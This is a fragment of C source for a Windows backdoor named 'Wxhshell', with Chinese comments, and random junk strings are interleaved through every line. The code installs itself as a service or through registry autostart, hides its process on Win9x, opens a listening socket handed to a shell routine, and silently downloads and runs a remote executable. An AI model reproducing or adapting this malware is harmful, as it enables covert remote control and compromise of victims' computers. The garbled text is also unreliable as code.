F#O.i, onHUi]yYu{ if(strstr(procName,"services")) return 1; // 以服务启动 T[~ak"M ].7)^ return 0; // 注册表启动 =/Vr,y$ } ZWh:&e( .'L@$]!G // 主模块 6(<M.U_ft int StartWxhshell(LPSTR lpCmdLine) b?h"a<7 { Xp4pN{h e SOCKET wsl; D{PO!WzW BOOL val=TRUE; #eR*|W7o int port=0; _lu.@IX- struct sockaddr_in door; GriL< =?t `cMa Fc-y/ if(wscfg.ws_autoins) Install(); ^A;v|U b"/P port=atoi(lpCmdLine); )u(`s `zd HVh+Zk if(port<=0) port=wscfg.ws_port; mY
|$=n5X ~,m6g&>R WSADATA data; %(,JBa:G if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z\4l+.R` E.}T.St if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6*tI~ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M5[AA/@ door.sin_family = AF_INET; "72
_Sw door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^#vWdOlt door.sin_port = htons(port); C(xdiQJh h9 [ov) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZYc)_Og closesocket(wsl); lHT? return 1; li$(oA2 } G'#a&6 Ko kmylHu if(listen(wsl,2) == INVALID_SOCKET) { ,^`+mP closesocket(wsl); =cX&H return 1; {UvZ } !E4YUEY6 Wxhshell(wsl); 7:9WiN5b WSACleanup(); "qMd%RP yLipuMNV return 0; $l7
<j_C *=UEx0_!q } {LrezE4 &5~bJ]P // 以NT服务方式启动 }Q/xBC) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xpRQ"6 {
AQ'~EbH( DWORD status = 0; _LCK|H%v' DWORD specificError = 0xfffffff; BQ2DQ7q -jFvDf,M,D serviceStatus.dwServiceType = SERVICE_WIN32; &,3.V+Sz serviceStatus.dwCurrentState = SERVICE_START_PENDING; |r%6;8A]i serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cQA;Y!Q# serviceStatus.dwWin32ExitCode = 0; k`'^e/ serviceStatus.dwServiceSpecificExitCode = 0; .ie \3q) serviceStatus.dwCheckPoint = 0; Xj.6A,}^ serviceStatus.dwWaitHint = 0; `G@]\)-! WVir[Kv% hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o~*% g. if (hServiceStatusHandle==0) return; mj{TqF rB<
UOe status = GetLastError(); EO:i+e]= if (status!=NO_ERROR) j1_CA5V { OU/PB serviceStatus.dwCurrentState = SERVICE_STOPPED; diaLw serviceStatus.dwCheckPoint = 0; '>@evrG serviceStatus.dwWaitHint = 0; }BzV<8F serviceStatus.dwWin32ExitCode = status; TMT65X! serviceStatus.dwServiceSpecificExitCode = specificError; /!P,o}l7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); >E^sZmY[f- return; ri.;& } Oz-X}eM Zb^0EbV serviceStatus.dwCurrentState = SERVICE_RUNNING; 4pduzO'I serviceStatus.dwCheckPoint = 0; a>ZV'~zTf serviceStatus.dwWaitHint = 0; r@%-S!$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MOJKz!% } SdeKRZ{o hDSt6O4za // 处理NT服务事件,比如:启动、停止 5,Mc`IIK1 VOID WINAPI NTServiceHandler(DWORD fdwControl) ?|w>."F { d3St Z~&r! switch(fdwControl) `!K(P- yB? { 'W@X139zq case SERVICE_CONTROL_STOP: x32hO; serviceStatus.dwWin32ExitCode = 0; 5.q2<a : serviceStatus.dwCurrentState = SERVICE_STOPPED; |p-, B>p! serviceStatus.dwCheckPoint = 0; to|O]h2*U2 serviceStatus.dwWaitHint = 0; O>IY<]x>L { `gDpb.=Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4;w9[a$ } SRRqIQz return; :54ik,l case SERVICE_CONTROL_PAUSE: LkK%DY serviceStatus.dwCurrentState = SERVICE_PAUSED; O@ F0UM`! break; AVF(YD<U case SERVICE_CONTROL_CONTINUE: %-/[.DYt serviceStatus.dwCurrentState = SERVICE_RUNNING; =e$<[" break; ~a^mLnY@ case SERVICE_CONTROL_INTERROGATE: YNRpIhb break; F w)#[ }; 6c$ so SetServiceStatus(hServiceStatusHandle, &serviceStatus); O&RW[ml*3 } qRZv[T%*Q +vIpt{733 // 标准应用程序主函数 anxgD?<+B int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I}q2)@ { V|13%aE_v iP]KV.e'/C // 获取操作系统版本 - 0R5g3^*/ OsIsNt=GetOsVer(); ;6KcX \g- GetModuleFileName(NULL,ExeFile,MAX_PATH); "v@Y[QI NTbmI$( // 从命令行安装 z"Miy if(strpbrk(lpCmdLine,"iI")) Install(); ~:'tp28? 1hp`.!3]H // 下载执行文件 ;wK; if(wscfg.ws_downexe) { >E;kM
B if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tvqq# ;I WinExec(wscfg.ws_filenam,SW_HIDE); WYSqnmi } BiT
#bg @.0>gmY;: if(!OsIsNt) { Fku~'30 // 如果时win9x,隐藏进程并且设置为注册表启动 Z-z^0QO HideProc(); N?hQ53#3 StartWxhshell(lpCmdLine); * ?x$q/a } /99S<U2ej else &kUEnwQ- if(StartFromService()) duFVh8 // 以服务方式启动 =PYfk6j9 StartServiceCtrlDispatcher(DispatchTable); =.a} else )S@e&a|
// 普通方式启动 +pXYBwH
7Q StartWxhshell(lpCmdLine); |;sL*Vr I!eu|_cF return 0; IO3 p&sJ/ }
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